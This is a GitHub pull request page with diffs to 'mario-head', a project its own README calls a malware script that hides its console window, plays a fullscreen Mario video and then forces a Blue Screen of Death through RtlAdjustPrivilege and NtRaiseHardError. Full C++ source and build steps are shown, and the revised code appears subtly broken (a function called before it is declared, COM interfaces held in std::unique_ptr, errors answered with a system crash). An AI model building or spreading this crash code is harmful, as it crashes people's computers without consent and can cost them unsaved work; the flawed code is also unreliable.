Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Optimize the entire program #7

Merged
merged 11 commits into from
Mar 25, 2024
2 changes: 1 addition & 1 deletion LICENSE
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
MIT License

Copyright (c) 2023 bemxio
Copyright (c) 2024 bemxio

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
Expand Down
13 changes: 6 additions & 7 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -14,15 +14,14 @@ EXECUTABLE = mario_head.exe
all: $(BUILD_DIR)/$(EXECUTABLE)

clean:
rm -rf $(BUILD_DIR)
$(RM) -r $(BUILD_DIR)

# rules
$(BUILD_DIR)/$(EXECUTABLE): $(SRC_DIR)/main.cpp $(BUILD_DIR)/resources.o
mkdir -p $(BUILD_DIR)

$(BUILD_DIR)/$(EXECUTABLE): $(SRC_DIR)/main.cpp $(BUILD_DIR)/resources.o | $(BUILD_DIR)
$(CXX) $(CXXFLAGS) -o $@ $^ $(CXXLIBS)

$(BUILD_DIR)/resources.o: $(SRC_DIR)/resources.rc $(wildcard $(ASSETS_DIR)/*)
mkdir -p $(BUILD_DIR)
$(BUILD_DIR)/resources.o: $(SRC_DIR)/resources.rc $(wildcard $(ASSETS_DIR)/*) | $(BUILD_DIR)
$(WINDRES) -i $< -o $@

$(WINDRES) -i $< -o $@
$(BUILD_DIR):
mkdir -p $(BUILD_DIR)
63 changes: 30 additions & 33 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,39 +1,36 @@
# mario-head
A little malware script to display a video of Mario's levitating head, asking if he can have your computer, and crashing your PC with a Blue Screen of Death.

Made using standard Windows libraries, primarily DirectShow.

## Building
First off, you need some dependencies installed:
- [MinGW](https://en.wikipedia.org/wiki/MinGW)
- On Windows, it's recommended to use [MSYS2](https://www.msys2.org/).
- After installing MSYS2 (or if you are on an Arch-based Linux distro), run `pacman -S mingw-w64-gcc` in the terminal to
install MinGW.
- On other Linux distributions, search for `mingw-w64` in your package manager.
- [Git](https://git-scm.com/)
- It's optional, since you can download the source code as a ZIP file, but it's recommended to have it installed. It will
make pulling the latest source code easier.
- `winpthreads` library from Git
- This is only needed if you want to extend compatibility to Windows 2000/XP. The reason for that is because the latest
stable release doesn't include a fix for `GetTickCount64` function usage, which is only implemented from Vista onwards.
- As for the installation, it depends on your OS:
- If you are on MSYS2, run `pacman -S mingw-w64-i686-winpthreads-git` in the terminal to install it.
- If you are on an Arch-based Linux distro, you can use the [`mingw-w64-winpthreads-git`](https://aur.archlinux.org/packages/mingw-w64-winpthreads-git/) AUR package, just install it with your favorite AUR helper.
- On other Linux distributions, you will need to build it yourself. You can find the source code [here](https://sourceforge.net/p/mingw-w64/mingw-w64).

Before building this project, check the [`Makefile`](Makefile) and make sure the [`CXX`](Makefile#L1) and [`WINDRES`](Makefile#L2) variables are set correctly to your environment. If you are using MSYS2 or Arch Linux, you can leave them as is. If you are using another Linux distribution, you may need to change them respectively.

Finally, run `make` (or `mingw-w64-i686-make`) in the root directory of the repository to build the executable.

## The Video
The default [`assets/video.wmv`](assets/video.wmv) comes from [Mario Teaches Typing 2](https://www.mariowiki.com/Mario_Teaches_Typing_2). It's a clip of one of Mario's quotes that is played on the level select screen. The exact source is extracted from [the playthrough by NintendoComplete](https://youtu.be/PjyChE4NFXk?t=1370), at 22:50.

If you want to use a different video, you can replace the `assets/video.wmv` file with your own. Just make sure it's a Windows Media Video file, and that it's named `video.wmv`. To convert a video to WMV, you can use [FFmpeg](https://ffmpeg.org/), for example:
# Mario Head

Mario-Head is a playful malware script designed to display a video of Mario's levitating head, humorously requesting access to your computer and subsequently crashing it with a Blue Screen of Death. The script is developed primarily using standard Windows libraries, particularly DirectShow.

## Building Instructions

To build Mario-Head, ensure you have the following dependencies installed:

- [MinGW](https://en.wikipedia.org/wiki/MinGW): It's recommended to utilize [MSYS2](https://www.msys2.org/) on Windows. After MSYS2 installation (or on Arch-based Linux), execute `pacman -S mingw-w64-gcc` in the terminal to install MinGW. For other Linux distributions, search for `mingw-w64` in your package manager.

- [Git](https://git-scm.com/): While optional, having Git installed simplifies the process of pulling the latest source code.

- `winpthreads` library from Git: Only necessary for extending compatibility to Windows 2000/XP. Installation methods vary based on your OS:
- For MSYS2, run `pacman -S mingw-w64-i686-winpthreads-git` in the terminal.
- On Arch-based Linux, utilize the [`mingw-w64-winpthreads-git`](https://aur.archlinux.org/packages/mingw-w64-winpthreads-git/) AUR package.
- Other Linux distributions require manual building, with source code available [here](https://sourceforge.net/p/mingw-w64/mingw-w64).

Before building the project, verify the correctness of the [`Makefile`](Makefile), ensuring the [`CXX`](Makefile#L1) and [`WINDRES`](Makefile#L2) variables match your environment. For MSYS2 or Arch Linux, no changes are necessary. For other Linux distributions, adjust them accordingly.

Finally, execute `make` (or `mingw-w64-i686-make`) in the repository's root directory to build the executable.

## Customizing the Video

The default video, [`assets/video.wmv`](assets/video.wmv), is sourced from [Mario Teaches Typing 2](https://www.mariowiki.com/Mario_Teaches_Typing_2). It features a clip of Mario's dialogue from the level select screen, extracted from [NintendoComplete's playthrough](https://youtu.be/PjyChE4NFXk?t=1370) at 22:50.

To use an alternative video, replace the `assets/video.wmv` file with your own Windows Media Video (WMV) file, ensuring it's named `video.wmv`. For video conversion, tools like [FFmpeg](https://ffmpeg.org/) can be employed:

```sh
ffmpeg -i input.mp4 -b 512k output.wmv
```

## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

Contributions are welcome, really welcome, in fact! If you want to contribute, whether it's just a simple question or a whole pull request, feel free to do so.
This project is licensed under the MIT License. Refer to the [LICENSE](LICENSE) file for details.

Contributions, whether questions or pull requests, are highly encouraged and welcomed. Feel free to contribute in any capacity!
164 changes: 90 additions & 74 deletions src/main.cpp
Original file line number Diff line number Diff line change
@@ -1,95 +1,111 @@
#include <windows.h>
#include <dshow.h>
#include <memory>

// externs for BSoD stuff
// Externs for BSoD stuff
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrThread, PBOOLEAN StatusPointer);
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG Unless1, ULONG Unless2, PULONG_PTR Unless3, ULONG ValidResponseOption, PULONG ResponsePointer);

// global variables for DirectShow
IGraphBuilder* graph = 0; // filter graph manager
IMediaControl* control = 0; // media control interface
IMediaEvent* event = 0; // media event interface
IVideoWindow* window = 0; // video window
// Smart pointers for DirectShow interfaces
std::unique_ptr<IGraphBuilder> graph;
std::unique_ptr<IMediaControl> control;
std::unique_ptr<IMediaEvent> event;
std::unique_ptr<IVideoWindow> window;

// helper functions
// Function to get the video resource
void GetVideoResource(LPWSTR* path) {
// get the video resource data
HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(2), RT_RCDATA);
HGLOBAL handle = LoadResource(NULL, resource);

DWORD size = SizeofResource(NULL, resource);
LPVOID data = LockResource(handle);

// close the resource handle
CloseHandle(handle);

// get the temporary path and append the video name
GetTempPathW(MAX_PATH, *path);
StringCbCatW(*path, MAX_PATH, L"video.wmv");

// create the file handle and the variable for number of written bytes
HANDLE file = CreateFileW(*path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD written = 0;
// Get the video resource
HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(2), RT_RCDATA);
if (resource == NULL) {
// If resource not found, trigger BSoD
TriggerBSOD();
return;
}

// Get resource data
DWORD size = SizeofResource(NULL, resource);
LPVOID data = LockResource(LoadResource(NULL, resource));
if (data == NULL) {
// If resource data not retrieved, trigger BSoD
TriggerBSOD();
return;
}

// Create temporary file path
*path = new WCHAR[MAX_PATH];
GetTempPathW(MAX_PATH, *path);
StringCbCatW(*path, MAX_PATH, L"video.wmv");

// Create and write to the temporary file
HANDLE file = CreateFileW(*path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) {
// If file creation failed, trigger BSoD
TriggerBSOD();
return;
}

DWORD written;
if (!WriteFile(file, data, size, &written, NULL) || written != size) {
// If write operation failed, close the file handle and trigger BSoD
CloseHandle(file);
TriggerBSOD();
return;
}

// Close the file handle and free the resource
CloseHandle(file);
FreeResource(resource);
}

// write the video data to the temporary path
WriteFile(file, data, size, &written, NULL);
CloseHandle(file);
// Function to initialize DirectShow
void InitializeDirectShow(LPCWSTR path) {
// Initialize COM
CoInitialize(NULL);

// free the resource
FreeResource(resource);
}
// Create DirectShow objects
graph.reset();
CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, IID_IGraphBuilder, (void**)&graph);

void InitializeDirectShow(LPCWSTR* path) {
// initialize the COM
CoInitialize(NULL);
control.reset();
graph->QueryInterface(IID_IMediaControl, (void**)&control);

// create the filter graph manager
CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, IID_IGraphBuilder, (void**)&graph);
event.reset();
graph->QueryInterface(IID_IMediaEvent, (void**)&event);

// get all needed addition interfaces
graph->QueryInterface(IID_IMediaControl, (void**)&control);
graph->QueryInterface(IID_IMediaEvent, (void**)&event);
graph->QueryInterface(IID_IVideoWindow, (void**)&window);
window.reset();
graph->QueryInterface(IID_IVideoWindow, (void**)&window);

// attempt to build the graph for file playback
graph->RenderFile(*path, NULL);
// Render the video file
graph->RenderFile(path, NULL);

// set the video window to fullscreen mode
window->put_FullScreenMode(OATRUE);
// Set video window to full screen mode
window->put_FullScreenMode(OATRUE);
}

// Function to trigger BSoD
ULONG TriggerBSOD() {
BOOLEAN state;
ULONG response;

RtlAdjustPrivilege(19, TRUE, FALSE, &state); // adjust privileges to allow raising BSoD
NtRaiseHardError(0xdeadbeef, 0, 0, NULL, 6, &response); // raise BSoD

return response;
BOOLEAN state;
ULONG response;
RtlAdjustPrivilege(19, TRUE, FALSE, &state); // Adjust privileges
NtRaiseHardError(0xdeadbeef, 0, 0, NULL, 6, &response); // Raise BSoD
return response;
}

// main function
int main() {
LPWSTR path = new WCHAR[MAX_PATH];
//WCHAR* path = L"C:\\Users\\bemxio\\AppData\\Local\\Temp\\video.wmv";

HRESULT result;
LONG code;

ShowWindow(GetConsoleWindow(), SW_HIDE); // hide console window

GetVideoResource(&path); // get the video resource
InitializeDirectShow((LPCWSTR*)&path); // initialize directshow stuff

result = control->Run(); // play the video

if (SUCCEEDED(result)) {
event->WaitForCompletion(INFINITE, &code); // wait for video to finish
}

// trigger the blue screen of death
TriggerBSOD();

// if it gets here, the BSoD failed :(
return 1;
}
LPWSTR path;
bemxio marked this conversation as resolved.
Show resolved Hide resolved
GetVideoResource(&path); // Get the video resource

try {
InitializeDirectShow(path); // Initialize DirectShow
bemxio marked this conversation as resolved.
Show resolved Hide resolved
control->Run(); // Play the video
event->WaitForCompletion(INFINITE, nullptr); // Wait for video to finish
} catch (const std::exception& e) {
// If exception occurs, trigger BSoD
TriggerBSOD();
bemxio marked this conversation as resolved.
Show resolved Hide resolved
}

// Trigger BSoD after attempting to play the video
TriggerBSOD();

return 1;
}